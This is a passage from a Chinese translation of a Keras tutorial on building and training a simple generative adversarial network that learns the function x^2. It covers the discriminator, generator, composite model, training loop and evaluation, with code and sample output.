生成分类标签\n\ty = ones((n, 1))\n\treturn X, y\n```\n\n下一步，我们可以创建一个该方法的副本来生成假样本。\n\n在这种情况下，我们会为样本的两个元素生成范围在 -1 和 1 之间的随机值。所有这些样本的输出分类标签都是 0。\n\n这个方法将作为假数据生成器模型。\n\n```python\n# 生成 n 个加样本和分类标签\ndef generate_fake_samples(n):\n\t# 生成 [-1, 1] 范围内的输入值\n\tX1 = -1 + rand(n) * 2\n\t# 生成 [-1, 1] 范围内的输出值\n\tX2 = -1 + rand(n) * 2\n\t# 堆叠数组\n\tX1 = X1.reshape(n, 1)\n\tX2 = X2.reshape(n, 1)\n\tX = hstack((X1, X2))\n\t# 生成分类标签\n\ty = zeros((n, 1))\n\treturn X, y\n```\n\n下一步，我们需要一个训练和评估生成器模型的方法。\n\n这可以通过手动遍历训练的 epoch（译者注：一个 epoch 是指将所有数据循环训练一遍），在每个 epoch 中，生成一半的真实样本和一半的假样本，然后在一整批样本上更新模型。可以使用 _train()_ 方法来训练，但是在这种情况下，我们将直接用 _train\\_on\\_batch()_ 方法。\n\n这个模型可以根据生成的样本进行评估，并且我们可以生成真假样本分类准确率的报告。\n\n下面的 _train_discriminator()_ 方法实现了为模型训练 1000 个 batch（译者注：一个 batch 指训练模型的一个批次），每个 batch 包含 128 个样本（64 个假样本和 64 个真样本）。\n\n```python\n# 训练判别器模型\ndef train_discriminator(model, n_epochs=1000, n_batch=128):\n\thalf_batch = int(n_batch / 2)\n\t# 手动运行 epoch\n\tfor i in range(n_epochs):\n\t\t# 生成真实样本\n\t\tX_real, y_real = generate_real_samples(half_batch)\n\t\t# 更新模型\n\t\tmodel.train_on_batch(X_real, y_real)\n\t\t# 生成假样本\n\t\tX_fake, y_fake = generate_fake_samples(half_batch)\n\t\t# 更新模型\n\t\tmodel.train_on_batch(X_fake, y_fake)\n\t\t# 评估模型\n\t\t_, acc_real = model.evaluate(X_real, y_real, verbose=0)\n\t\t_, acc_fake = model.evaluate(X_fake, y_fake, verbose=0)\n\t\tprint(i, acc_real, acc_fake)\n```\n\n我们可以把这些联系在一起，然后在真实和虚假样本上训练判别器模型。\n\n完整的例子如下所示。\n\n```python\n# 定义并且加载一个判别器模型\nfrom numpy import zeros\nfrom numpy import ones\nfrom numpy import hstack\nfrom numpy.random import rand\nfrom numpy.random import randn\nfrom keras.models import Sequential\nfrom keras.layers import Dense\n\n# 定义独立的判别器模型\ndef define_discriminator(n_inputs=2):\n\tmodel = Sequential()\n\tmodel.add(Dense(25, activation='relu', kernel_initializer='he_uniform', input_dim=n_inputs))\n\tmodel.add(Dense(1, activation='sigmoid'))\n\t# 编译模型\n\tmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\n\treturn model\n\n# 生成 n 个真实的样本和分类标签\ndef generate_real_samples(n):\n\t# 生成 [-0.5, 0.5] 范围内的输入值\n\tX1 = rand(n) - 0.5\n\t# 生成输出 X^2\n\tX2 = X1 * X1\n\t# 堆叠数组\n\tX1 = X1.reshape(n, 1)\n\tX2 = X2.reshape(n, 1)\n\tX = hstack((X1, X2))\n\t# 生成分类标签\n\ty = ones((n, 1))\n\treturn X, y\n\n# 生成 n 个假样本和分类标签\ndef generate_fake_samples(n):\n\t# 生成 [-1, 1] 范围内的输入值\n\tX1 = -1 + rand(n) * 2\n\t# 生成 [-1, 1] 范围内的输出值\n\tX2 = -1 + rand(n) * 2\n\t# 堆叠数组\n\tX1 = X1.reshape(n, 1)\n\tX2 = X2.reshape(n, 1)\n\tX = hstack((X1, X2))\n\t# 生成分类标签\n\ty = zeros((n, 1))\n\treturn X, y\n\n# 训练判别器模型\ndef train_discriminator(model, n_epochs=1000, n_batch=128):\n\thalf_batch = int(n_batch / 2)\n\t# 手动运行 epoch\n\tfor i in range(n_epochs):\n\t\t# 生成真实的样本\n\t\tX_real, y_real = generate_real_samples(half_batch)\n\t\t# 更新模型\n\t\tmodel.train_on_batch(X_real, y_real)\n\t\t# 生成假样本\n\t\tX_fake, y_fake = generate_fake_samples(half_batch)\n\t\t# 更新模型\n\t\tmodel.train_on_batch(X_fake, y_fake)\n\t\t# 评估模型\n\t\t_, acc_real = model.evaluate(X_real, y_real, verbose=0)\n\t\t_, acc_fake = model.evaluate(X_fake, y_fake, verbose=0)\n\t\tprint(i, acc_real, acc_fake)\n\n# 定义判别器模型\nmodel = define_discriminator()\n# 加载模型\ntrain_discriminator(model)\n```\n\n运行上面的代码会生成真实的和假的样本并且更新模型，然后在同样的样本上评估模型并打印出分类的准确率。\n\n结果可能会不同但是模型会快速地学习，以完美的准确率正确地识别真实的样本，并且非常擅长识别假样本，正确率在 80% 和 90% 之间。\n\n```\n...\n995 1.0 0.875\n996 1.0 0.921875\n997 1.0 0.859375\n998 1.0 0.9375\n999 1.0 0.8125\n```\n\n训练判别器模型的过程是非常直观的。而我们的目标是训练一个生成器模型，并不是判别器模型，这才是生成 GANs 真正复杂的地方。\n\n## 定义一个生成器模型\n\n下一步是定义生成器模型。\n\n生成器模型从隐空间中选取一个点作为输入并且生成一个新的样本，比如把函数的输入和输出元素作为一个向量，例如 x 和 x^2。\n\n隐变量是一个隐藏的或者未被观察到的变量，隐空间是一个由这些变量组成的多维向量空间。我们可以为问题定义隐空间的维度大小以及它的形状或变量的分布。\n\n隐空间是没有意义的，直到生成器模型开始学习并为空间中的点赋予意义。训练之后，隐空间的点将和输出空间中的点相关联，比如生成样本空间。\n\n我们定义一个小的五维隐空间，并且使用 GAN 文献中标准的方法，即隐空间中每一个变量都使用高斯分布。我们将从一个标准高斯分布中获取随机数来生成输入值，比如均值为 0，标准差为 1。\n\n* **输入**：隐空间中的点，比如由五个高斯随机数组成的向量。\n* **输出**：两个元素组成的向量，代表了为我们的函数生成的样本（x 和 x^2）。\n\n生成器模型会和判别器模型一样小。\n\n它只有一个隐藏层，其中有五个神经元，使用 [ReLU 激活函数](https://machinelearningmastery.com/rectified-linear-activation-function-for-deep-learning-neural-networks/)和 He 权重初始化方法。输出层有两个神经元表示生成向量中的两个元素，并且使用线性激活函数。\n\n最后使用线性激活函数是因为想让生成器输出实数向量，第一个元素的范围是 \\[-0.5, 0.5\\]，第二个元素的范围是 \\[0.0, 0.25\\]。\n\n这个模型没有被编译。原因是生成器模型不是直接被加载的。\n\n下面的 _define_generator()_ 方法定义并返回了生成器模型。\n\n隐空间的维度大小被参数化以防后面需要改变，模型的输出维度大小也被参数化，这与定义的判别器模型的函数是相匹配的。\n\n```python\n# 定义独立的生成器模型\ndef define_generator(latent_dim, n_outputs=2):\n\tmodel = Sequential()\n\tmodel.add(Dense(15, activation='relu', kernel_initializer='he_uniform', input_dim=latent_dim))\n\tmodel.add(Dense(n_outputs, activation='linear'))\n\treturn model\n```\n\n我们可以总结这个模型来帮助更好地理解输入和输出的成形。\n\n完整的例子如下所示。\n\n```python\n# 定义生成器模型\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.utils.vis_utils import plot_model\n\n# 定义独立的生成器模型\ndef define_generator(latent_dim, n_outputs=2):\n\tmodel = Sequential()\n\tmodel.add(Dense(15, activation='relu', kernel_initializer='he_uniform', input_dim=latent_dim))\n\tmodel.add(Dense(n_outputs, activation='linear'))\n\treturn model\n\n# 定义生成器模型\nmodel = define_generator(5)\n# 总结模型\nmodel.summary()\n# 绘制模型\nplot_model(model, to_file='generator_plot.png', show_shapes=True, show_layer_names=True)\n```\n\n运行这个例子，它定义并且总结了生成器模型。\n\n```\n_________________________________________________________________\nLayer (type)                 Output Shape              Param #\n=================================================================\ndense_1 (Dense)              (None, 15)                90\n_________________________________________________________________\ndense_2 (Dense)              (None, 2)                 32\n=================================================================\nTotal params: 122\nTrainable params: 122\nNon-trainable params: 0\n_________________________________________________________________\n```\n\n模型图也被生成了，我们可以看到这个模型期望从隐空间中获取一个由五元向量作为输入，并且预测一个由二元向量作为输出。\n\n**注意**：生成这张模型图需要安装 pydot 和 graphviz 库。如果安装遇到了问题，你可以把引入 _plot_model_ 函数的 import 语句和调用 _plot_model_ 方法注释掉。\n\n![绘制 GAN 中的生成器模型](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/04/Plot-of-the-Generator-Model-in-the-GAN.png)\n\n绘制 GAN 中的生成器模型\n\n我们可以看到模型从隐空间中获取一个随机的五元向量，然后为一维函数输出一个二元向量。\n\n此模型目前还不能做太多事情。不过，我们可以用来演示如何使用它来生成样本。这不是必须的，但同样，其中的某些元素稍后可能会有用。\n\n第一步是在隐空间中生成新的点。我们可以通过调用 [randn() NumPy 方法](https://docs.scipy.org/doc/numpy/reference/generated/numpy.random.randn.html)来生成来自标准高斯分布的[随机数](https://machinelearningmastery.com/how-to-generate-random-numbers-in-python/)数组。\n\n随机数数组之后可以被调整到样本维度的大小：那就是 n 行，每行有 5 个元素。下面的 _generate\\_latent\\_points()_ 方法实现了它并且在隐空间中生成了一定数量的点，这些点可以用来作为生成模型的输入。\n\n```python\n# 在隐空间中生成点作为生成器的输入\ndef generate_latent_points(latent_dim, n):\n\t# 在隐空间中生成点\n\tx_input = randn(latent_dim * n)\n\t# 为网络重新调整批输入样本的维度大小\n\tx_input = x_input.reshape(n, latent_dim)\n\treturn x_input\n```\n\n下一步，我们可以用这些生成的点作为生成器模型的输入来生成新的样本，然后绘制这些样本。\n\n下面的 _generate\\_fake\\_samples()_ 方法实现了它，将定义好的生成器和隐空间的维度大小以及模型生成点的个数作为参数被传入。\n\n```python\n# 用生成器来生成 n 个假样本然后绘制结果\ndef generate_fake_samples(generator, latent_dim, n):\n\t# 在隐空间中生成点\n\tx_input = generate_latent_points(latent_dim, n)\n\t# 预测输出\n\tX = generator.predict(x_input)\n\t# 绘制结果\n\tpyplot.scatter(X[:, 0], X[:, 1])\n\tpyplot.show()\n```\n\n把它们放在一起，完整的例子如下所示。\n\n```python\n# 定义和使用生成器模型\nfrom numpy.random import randn\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom matplotlib import pyplot\n\n# 定义独立的生成器模型\ndef define_generator(latent_dim, n_outputs=2):\n\tmodel = Sequential()\n\tmodel.add(Dense(15, activation='relu', kernel_initializer='he_uniform', input_dim=latent_dim))\n\tmodel.add(Dense(n_outputs, activation='linear'))\n\treturn model\n\n# 生成隐空间中的点作为生成器的输入\ndef generate_latent_points(latent_dim, n):\n\t# 在隐空间中生成点\n\tx_input = randn(latent_dim * n)\n\t# 调整网络批输入的维度大小\n\tx_input = x_input.reshape(n, latent_dim)\n\treturn x_input\n\n# 用生成器生成 n 个假样本来绘制结果\ndef generate_fake_samples(generator, latent_dim, n):\n\t# 在隐空间中生成点\n\tx_input = generate_latent_points(latent_dim, n)\n\t# 预测输出\n\tX = generator.predict(x_input)\n\t# 绘制结果\n\tpyplot.scatter(X[:, 0], X[:, 1])\n\tpyplot.show()\n\n# 隐空间的维度大小\nlatent_dim = 5\n# 定义判别器模型\nmodel = define_generator(latent_dim)\n# 生成并绘制生成的样本\ngenerate_fake_samples(model, latent_dim, 100)\n```\n\n运行这个例子将从隐空间中生成 100 个随机点，将它们作为生成器的输入并从我们的一维函数域中生成 100 个假样本。\n\n由于生成器还没有被训练过，因此生成的点和我们想的一样，全都是“垃圾”，但是我们可以想象当这个模型被训练之后，这些点会慢慢的开始向目标函数和它的 u 型靠近。\n\n![由生成器模型预测的假样本的散点图](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/04/Scatter-plot-of-Fake-Samples-Predicted-by-the-Generator-Model-1024x768.png)\n\n由生成器模型预测的假样本的散点图。\n\n我们已经看过了如何定义和使用生成器模型。我们需要以这种方式使用生成器模型来为判别器生成用以分类的样本。\n\n我们还没有看到生成器模型是如何被训练的；这是下一步。\n\n## 训练生成器模型\n\n生成器模型中的权重是基于判别器模型的表现而更新的。\n\n当判别器很擅于检测假样本时，生成器会更新较大，而当判别器对于检测假样本相对不擅长或者被迷惑时，生成器会更新较小。\n\n这定义了两个模型之间的零和或对抗关系。\n\n有许多使用 Keras API 来实现它的方式，但或许最简单的方法就是创建一个新的模型，这个模型包含或封装生成器和判别器模型。\n\n特别的是，一个新的 GAN 模型可以定义为堆叠生成器和判别器，生成器在隐空间中接收随机点作为输入，生成样本直接被提供给判别器模型的样本，然后分类，最后，这个大模型的输出可以被用来更新生成器模型的权重。\n\n要清楚，我们不是在讨论一个新的第三方模型，只是一个逻辑上第三方的模型，它用了独立生成器和判别器模型中已定义的图层和权重。\n\n在区分真假数据的时候只涉及到判别器；因此，判别器模型可以通过真假数据被单独训练。\n\n生成器模型只和判别器模型在假数据上的表现有关。因此，当判别器是 GAN 模型的一部分的时候，我们会将判别器中的所有层标记为不可训练的，它们在假数据上不会更新参数以防被过度训练。\n\n当通过这个合并的生成对抗网路模型来训练生成器的时候，还有一个重要的地方需要改变。我们想让判别器认为生成器输出的样本是真的，而不是假的。因此，当生成器在作为 GAN 一部分训练的时候，我们将标记生成的样本设置为真（类标签为 1）。\n\n我们可以想像判别器将生成的样本归类为不是真的（类标签为 0）或者为真的可能性较低（0.3 或 0.5）。用来更新模型权重的反向传播过程将其视为一个大的误差，然后将更新模型权重（比如只有在生成器中的权重）来纠正这个误差，反过来使得生成器更好更合理的生成假样本。\n\n让我们具体点。\n\n* **输入**: 隐空间中的点，比如一个由高斯随机数组成的五元向量。\n* **输出**: 二分类，样本为真（或假）的可能性。\n\n下面 _define_gan()_ 方法将已经定义好的生成器和判别器作为参数，并且创建了一个逻辑上的第三个包含这两个模型的新模型。判别器中的权重被标记为不可训练，这只会影响 GAN 中的权重，而不会影响独立的判别器模型。\n\nGAN 模型使用同样的二分类交叉熵损失函数作为判别器以及高效的 [Adam 版本的随机梯度下降](https://machinelearningmastery.com/adam-optimization-algorithm-for-deep-learning/)。\n\n```python\n# 为更新生成器，定义合并的生成器和判别器模型\ndef define_gan(generator, discriminator):\n\t# 标记判别器中的权重为不可训练\n\tdiscriminator.trainable = False\n\t# 把他们连接起来\n\tmodel = Sequential()\n\t# 加入生成器\n\tmodel.add(generator)\n\t# 加入判别器\n\tmodel.add(discriminator)\n\t# 编译模型\n\tmodel.compile(loss='binary_crossentropy', optimizer='adam')\n\treturn model\n```\n\n使得判别器不可训练是 Keras API 中一个聪明的技巧。\n\n当模型被编译的时候，_trainable_ 属性会影响它。判别器模型使用可训练层进行编译，因此调用 _train\\_on\\_batch()_ 来更新独立模型，也会更新这些层中的权重模型。\n\n判别器模型被标记为不可训练，加入 GAN 模型，然后被编译。在这个模型中，通过调用 _train\\_on\\_batch()_ 来更新 GAN 模型时，判别器模型中的权重是不可训练且无法更改的。\n\nKeras API 文档中描述了这种行为：\n\n* [我如何能够 “冻结” Keras 层？](https://keras.io/getting-started/faq/#how-can-i-freeze-keras-layers)\n\n下面列出了创建判别器、生成器和组合模型的完整示例。\n\n```python\n# 演示创建 GAN 的三种模型\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.utils.vis_utils import plot_model\n\n# 定义独立的判别器模型\ndef define_discriminator(n_inputs=2):\n\tmodel = Sequential()\n\tmodel.add(Dense(25, activation='relu', kernel_initializer='he_uniform', input_dim=n_inputs))\n\tmodel.add(Dense(1, activation='sigmoid'))\n\t# 编译模型\n\tmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\n\treturn model\n\n# 定义独立的生成器模型\ndef define_generator(latent_dim, n_outputs=2):\n\tmodel = Sequential()\n\tmodel.add(Dense(15, activation='relu', kernel_initializer='he_uniform', input_dim=latent_dim))\n\tmodel.add(Dense(n_outputs, activation='linear'))\n\treturn model\n\n# 定义合并的生成器和判别器模型，为了更新生成器\ndef define_gan(generator, discriminator):\n\t# 标记判别器模型中的权重为不可训练\n\tdiscriminator.trainable = False\n\t# 连接它们\n\tmodel = Sequential()\n\t# 加入生成器\n\tmodel.add(generator)\n\t# 加入判别器\n\tmodel.add(discriminator)\n\t# 编译模型\n\tmodel.compile(loss='binary_crossentropy', optimizer='adam')\n\treturn model\n\n# 隐空间的维度大小\nlatent_dim = 5\n# 创建判别器\ndiscriminator = define_discriminator()\n# 创建生成器\ngenerator = define_generator(latent_dim)\n# 创建 GAN\ngan_model = define_gan(generator, discriminator)\n# 总结 GAN 模型\ngan_model.summary()\n# 绘制 GAN 模型\nplot_model(gan_model, to_file='gan_plot.png', show_shapes=True, show_layer_names=True)\n```\n\n运行这个例子首先会创建组合模型的总结。\n\n```\n_________________________________________________________________\nLayer (type)                 Output Shape              Param #\n=================================================================\nsequential_2 (Sequential)    (None, 2)                 122\n_________________________________________________________________\nsequential_1 (Sequential)    (None, 1)                 101\n=================================================================\nTotal params: 223\nTrainable params: 122\nNon-trainable params: 101\n_________________________________________________________________\n```\n\n模型图也被创建了，并且我们可以看到模型期望在隐空间中有一个五元点作为输入，以及预测一个输出的分类标签。\n\n**注意**：生成这张模型图需要安装 pydot 和 graphviz 库。如果安装遇到了问题，你可以把引入 _plot_model_ 函数的 import 语句和调用 _plot_model_ 方法注释掉。\n\n![GAN 中生成器和判别器组合模型图](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/04/Plot-of-the-Composite-Generator-and-Discriminator-Model-in-the-GAN.png)\n\nGAN 中生成器和判别器组合模型图\n\n训练组合模型包括通过前一个章节中的 _generate\\_latent\\_points()_ 方法在隐空间中生成一批点，以及 class=1 的标签，调用 _train\\_on\\_batch()_ 方法。\n\n下面的 _train_gan()_ 方法演示了这个过程，虽然这个过程不是非常有趣，因为每个 epoch 中只有生成器会被更新，判别器保持默认的模型权重。\n\n```python\n# 训练组合模型\ndef train_gan(gan_model, latent_dim, n_epochs=10000, n_batch=128):\n\t# 手动遍历 epoch\n\tfor i in range(n_epochs):\n\t\t# 为生成器准备隐空间中的点作为输入\n\t\tx_gan = generate_latent_points(latent_dim, n_batch)\n\t\t# 为假样本创建反标签\n\t\ty_gan = ones((n_batch, 1))\n\t\t# 通过判别器的误差更新生成器\n\t\tgan_model.train_on_batch(x_gan, y_gan)\n```\n\n我们首先需要用真假样本来更新判别器模型，然后再用组合模型更新生成器。\n\n这需要合并定义在判别器中的 _train_discriminator()_ 方法以及上面定义的 _train_gan()_ 方法中的元素。也需要  _generate\\_fake\\_samples()_ 方法使用生成器模型来生成假样本而不是生成随机数。\n\n更新判别器模型和生成器（通过组合模型）的完整训练方法如下所示。\n\n```python\n# 训练生成器和判别器\ndef train(g_model, d_model, gan_model, latent_dim, n_epochs=10000, n_batch=128):\n\t# 将一半 batch 数量用来更新判别器\n\thalf_batch = int(n_batch / 2)\n\t# 手动遍历 epoch\n\tfor i in range(n_epochs):\n\t\t# 准备真实样本\n\t\tx_real, y_real = generate_real_samples(half_batch)\n\t\t# 准备假样本\n\t\tx_fake, y_fake = generate_fake_samples(g_model, latent_dim, half_batch)\n\t\t# 更新判别器\n\t\td_model.train_on_batch(x_real, y_real)\n\t\td_model.train_on_batch(x_fake, y_fake)\n\t\t# 准备隐空间中的点作为生成器中的输入\n\t\tx_gan = generate_latent_points(latent_dim, n_batch)\n\t\t# 为假样本创建反标签\n\t\ty_gan = ones((n_batch, 1))\n\t\t# 通过判别器的误差更新生成器\n\t\tgan_model.train_on_batch(x_gan, y_gan)\n```\n\n我们几乎准备好了使用一维函数搭建一个 GAN 所需的一切。\n\n剩下的部分就是模型评估了。\n\n## 评估 GAN 的表现\n\n通常来说，没有客观的方法来评估 GAN 模型的性能。\n\n在这个特殊的例子中，我们可以为生成的样本设计一种客观的衡量指标，因为我们知道潜在真实的输入域和目标函数，并且可以计算一个客观的误差测定。\n\n然而，我们不会在这个教程中计算这个客观的误差值。取而代之的是，我们将使用在大多数 GAN 应用中被使用的主观方法。特别的是，我们将使用生成器来生成新的样本，然后检查它们和领域中真实样本的差距。\n\n首先，我们可以使用之前判别器部分创建的 _generate\\_real\\_samples()_ 方法来生成新的样本。用这些样本来绘制散点图会生成我们熟悉的 u 形目标函数。\n\n```python\n# 生成 n 个真实样本和类标签\ndef generate_real_samples(n):\n\t# 生成 [-0.5, 0.5] 范围内的输入值\n\tX1 = rand(n) - 0.5\n\t# 生成输出值 X^2\n\tX2 = X1 * X1\n\t# 堆叠数组\n\tX1 = X1.reshape(n, 1)\n\tX2 = X2.reshape(n, 1)\n\tX = hstack((X1, X2))\n\t# 生成类标签\n\ty = ones((n, 1))\n\treturn X, y\n```\n\n下一步，我们可以用生成器模型来生成同样数量的假样本。\n\n这首先需要通过上面生成器部分创建的 _generate\\_latent\\_points()_ 方法，在隐空间中生成同样数量的点。这些点可以被传入生成器模型并生成样本，这些样本可以在同样的散点图上被绘制。\n\n```python\n# 在隐空间中生成点作为生成器的输入\ndef generate_latent_points(latent_dim, n):\n\t# 在隐空间中生成点\n\tx_input = randn(latent_dim * n)\n\t# 为网络调整一个 batch 输入的维度大小\n\tx_input = x_input.reshape(n, latent_dim)\n\treturn x_input\n```\n\n下面的 _generate\\_fake\\_samples()_ 方法生成了这些假样本和相关联的类标签 0，这些之后会有用。\n\n```python\n# 用生成器生成 n 个假样本和类标签\ndef generate_fake_samples(generator, latent_dim, n):\n\t#在隐空间中生成点\n\tx_input = generate_latent_points(latent_dim, n)\n\t# 预测输出\n\tX = generator.predict(x_input)\n\t# 创建类标签\n\ty = zeros((n, 1))\n\treturn X, y\n```\n\n两种样本在同一张图上被绘制使得它们可以直接通过主观上查看是否同样的输入和输出域被覆盖了来比较，以及是否目标函数期望的形状被合适地描绘出来。\n\n下面的 _summarize_performance()_ 方法可以在训练的任意时间点被调用，通过它可以绘制真实的和生成的散点图，以此对生成模型当下的能力有一个大致的了解。\n\n```python\n# 绘制真假点\ndef summarize_performance(generator, latent_dim, n=100):\n\t# 准备真实样本\n\tx_real, y_real = generate_real_samples(n)\n\t# 准备假样本\n\tx_fake, y_fake = generate_fake_samples(generator, latent_dim, n)\n\t# 绘制真假数据点的散点图\n\tpyplot.scatter(x_real[:, 0], x_real[:, 1], color='red')\n\tpyplot.scatter(x_fake[:, 0], x_fake[:, 1], color='blue')\n\tpyplot.show()\n```\n\n另外，我们可能也会对判别器模型的性能感兴趣。\n\n确切的说，我们对于了解判别器模型正确区分真假样本的能力感兴趣。一个好的生成器模型应该能迷惑判别器模型，导致在真假样本上的分类准确率接近 50%。\n\n我们可以更新 _summarize_performance()_ 方法，使它接收判别器和当前的 epoch 数作为参数，并且生成真假样本准确率的报告。\n\n```python\n# 评估判别器并且绘制真假点\ndef summarize_performance(epoch, generator, discriminator, latent_dim, n=100):\n\t# 准备真实样本\n\tx_real, y_real = generate_real_samples(n)\n\t# 在真实样本上评估判别器\n\t_, acc_real = discriminator.evaluate(x_real, y_real, verbose=0)\n\t# 准备假样本\n\tx_fake, y_fake = generate_fake_samples(generator, latent_dim, n)\n\t# 在假样本上评估判别器\n\t_, acc_fake = discriminator.evaluate(x_fake, y_fake, verbose=0)\n\t# 总结判别器性能\n\tprint(epoch, acc_real, acc_fake)\n\t# 绘制真假数据的散点图\n\tpyplot.scatter(x_real[:, 0], x_real[:, 1], color='red')\n\tpyplot.scatter(x_fake[:, 0], x_fake[:, 1], color='blue')\n\tpyplot.show()\n```\n\n这个方法可以在训练时被周期性调用。\n\n比如，如果我们将模型迭代训练 10000 次，每 2000 次迭代检查一下这个模型的性能。\n\n我们可以通过 _n_eval_ 行参来参数化检查的频率，并且在一定数量的迭代之后从 _train()_ 方法中调用 _summarize_performance()_ 方法。\n\n更新后的 _train()_ 方法如下所示。\n\n```python\n# 训练生成器和判别器\ndef train(g_model, d_model, gan_model, latent_dim, n_epochs=10000, n_batch=128, n_eval=2000):\n\t# 用一半的 batch 数量来更新判别器\n\thalf_batch = int(n_batch / 2)\n\t# 手动遍历 epoch\n\tfor i in range(n_epochs):\n\t\t# 准备真实样本\n\t\tx_real, y_real = generate_real_samples(half_batch)\n\t\t# 准备假样本\n\t\tx_fake, y_fake = generate_fake_samples(g_model, latent_dim, half_batch)\n\t\t# 更新判别器\n\t\td_model.train_on_batch(x_real, y_real)\n\t\td_model.train_on_batch(x_fake, y_fake)\n\t\t# 准备隐空间中的点作为生成器的输入\n\t\tx_gan = generate_latent_points(latent_dim, n_batch)\n\t\t# 为假样本创建反标签\n\t\ty_gan = ones((n_batch, 1))\n\t\t# 通过判别器的误差更新生成器\n\t\tgan_model.train_on_batch(x_gan, y_gan)\n\t\t# 每 n_eval epoch 评估模型\n\t\tif (i+1) % n_eval == 0:\n\t\t\tsummarize_performance(i, g_model, d_model, latent_dim)\n```\n\n## 训练 GAN 的完整例子\n\n我们现在有了为一维函数来训练和评估 GAN 所需的所有条件。\n\n完整的例子如下所示。\n\n```python\n# 在一个一维函数上训练一个 GAN\nfrom numpy import hstack\nfrom numpy import zeros\nfrom numpy import ones\nfrom numpy.random import rand\nfrom numpy.random import randn\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom matplotlib import pyplot\n\n# 定义独立的判别器模型\ndef define_discriminator(n_inputs=2):\n\tmodel = Sequential()\n\tmodel.add(Dense(25, activation='relu', kernel_initializer='he_uniform', input_dim=n_inputs))\n\tmodel.add(Dense(1, activation='sigmoid'))\n\t# 编译模型\n\tmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\n\treturn model\n\n# 定义独立的生成器模型\ndef define_generator(latent_dim, n_outputs=2):\n\tmodel = Sequential()\n\tmodel.add(Dense(15, activation='relu', kernel_initializer='he_uniform', input_dim=latent_dim))\n\tmodel.add(Dense(n_outputs, activation='linear'))\n\treturn model\n\n# 定义合并的生成器和判别器模型，来更新生成器\ndef define_gan(generator, discriminator):\n\t# 将判别器的权重设为不可训练\n\tdiscriminator.trainable = False\n\t# 连接它们\n\tmodel = Sequential()\n\t# 加入生成器\n\tmodel.add(generator)\n\t# 加入判别器\n\tmodel.add(discriminator)\n\t# 编译模型\n\tmodel.compile(loss='binary_crossentropy', optimizer='adam')\n\treturn model\n\n# 生成 n 个真实样本和类标签\ndef generate_real_samples(n):\n\t# 生成 [-0.5, 0.5] 范围内的输入值\n\tX1 = rand(n) - 0.5\n\t# 生成输出值 X^2\n\tX2 = X1 * X1\n\t# 堆叠数组\n\tX1 = X1.reshape(n, 1)\n\tX2 = X2.reshape(n, 1)\n\tX = hstack((X1, X2))\n\t# 生成类标签\n\ty = ones((n, 1))\n\treturn X, y\n\n# 生成隐空间中的点作为生成器的输入\ndef generate_latent_points(latent_dim, n):\n\t# 在隐空间中生成点\n\tx_input = randn(latent_dim * n)\n\t# 为网络调整一个 batch 输入的维度大小\n\tx_input = x_input.reshape(n, latent_dim)\n\treturn x_input\n\n# 用生成器生成 n 个假样本和类标签\ndef generate_fake_samples(generator, latent_dim, n):\n\t# 在隐空间中生成点\n\tx_input = generate_latent_points(latent_dim, n)\n\t# 预测输出值\n\tX = generator.predict(x_input)\n\t# 创建类标签\n\ty = zeros((n, 1))\n\treturn X, y\n\n# 评估判别器并且绘制真假点\ndef summarize_performance(epoch, generator, discriminator, latent_dim, n=100):\n\t# 准备真实样本\n\tx_real, y_real = generate_real_samples(n)\n\t# 在真实样本上评估判别器\n\t_, acc_real = discriminator.evaluate(x_real, y_real, verbose=0)\n\t# 准备假样本\n\tx_fake, y_fake = generate_fake_samples(generator, latent_dim, n)\n\t# 在假样本上评估判别器\n\t_, acc_fake = discriminator.evaluate(x_fake, y_fake, verbose=0)\n\t# 总结判别器性能\n\tprint(epoch, acc_real, acc_fake)\n\t# 绘制真假数据的散点图\n\tpyplot.scatter(x_real[:, 0], x_real[:, 1], color='red')\n\tpyplot.scatter(x_fake[:, 0], x_fake[:, 1], color='blue')\n\tpyplot.show()\n\n# 训练生成器和判别器\ndef train(g_model, d_model, gan_model, latent_dim, n_epochs=10000, n_batch=128, n_eval=2000):\n\t# 用一半的 batch 数量来训练判别器\n\thalf_batch = int(n_batch / 2)\n\t# 手动遍历 epoch\n\tfor i in range(n_epochs):\n\t\t# 准备真实样本\n\t\tx_real, y_real = generate_real_samples(half_batch)\n\t\t# 准备假样本\n\t\tx_fake, y_fake = generate_fake_samples(g_model, latent_dim, half_batch)\n\t\t# 更新判别器\n\t\td_model.train_on_batch(x_real, y_real)\n\t\td_model.train_on_batch(x_fake, y_fake)\n\t\t# 在隐空间中准备点作为生成器的输入\n\t\tx_gan = generate_latent_points(latent_dim, n_batch)\n\t\t# 为假样本创建反标签\n\t\ty_gan = ones((n_batch, 1))\n\t\t# 通过判别器的误差更新生成器\n\t\tgan_model.train_on_batch(x_gan, y_gan)\n\t\t# 为每 n_eval epoch 模型做评估\n\t\tif (i+1) % n_eval == 0:\n\t\t\tsummarize_performance(i, g_model, d_model, latent_dim)\n\n# 隐空间的维度\nlatent_dim = 5\n# 创建判别器\ndiscriminator = define_discriminator()\n# 创建生成器\ngenerator = define_generator(latent_dim)\n# 创建 GAN\ngan_model = define_gan(generator, discriminator)\n# 训练模型\ntrain(generator, discriminator, gan_model, latent_dim)\n```\n\n运行这个例子将每训练 2000 个 batch 生成模型性能的报告并且绘制一张散点图。\n\n你们自己的结果可能会不同因为训练算法的随机特性以及生成模型自己的特性。\n\n我们可以看到训练的过程是相对不稳定的。第一列是迭代数，第二列是判别器针对真实样本的分类准确率，第三列是判别器针对生成（假）样本的分类准确率。\n\n在这个情况下，我们可以看到判别器对于真实样本还是相当困惑的，对于识别假样本的表现也是差异很大。\n\n```\n1999 0.45 1.0\n3999 0.45 0.91\n5999 0.86 0.16\n7999 0.6 0.41\n9999 0.15 0.93\n```\n\n简单起见，我将省略五个创建的散点图；我们将只看其中两个。\n\n第一张图是在 2000 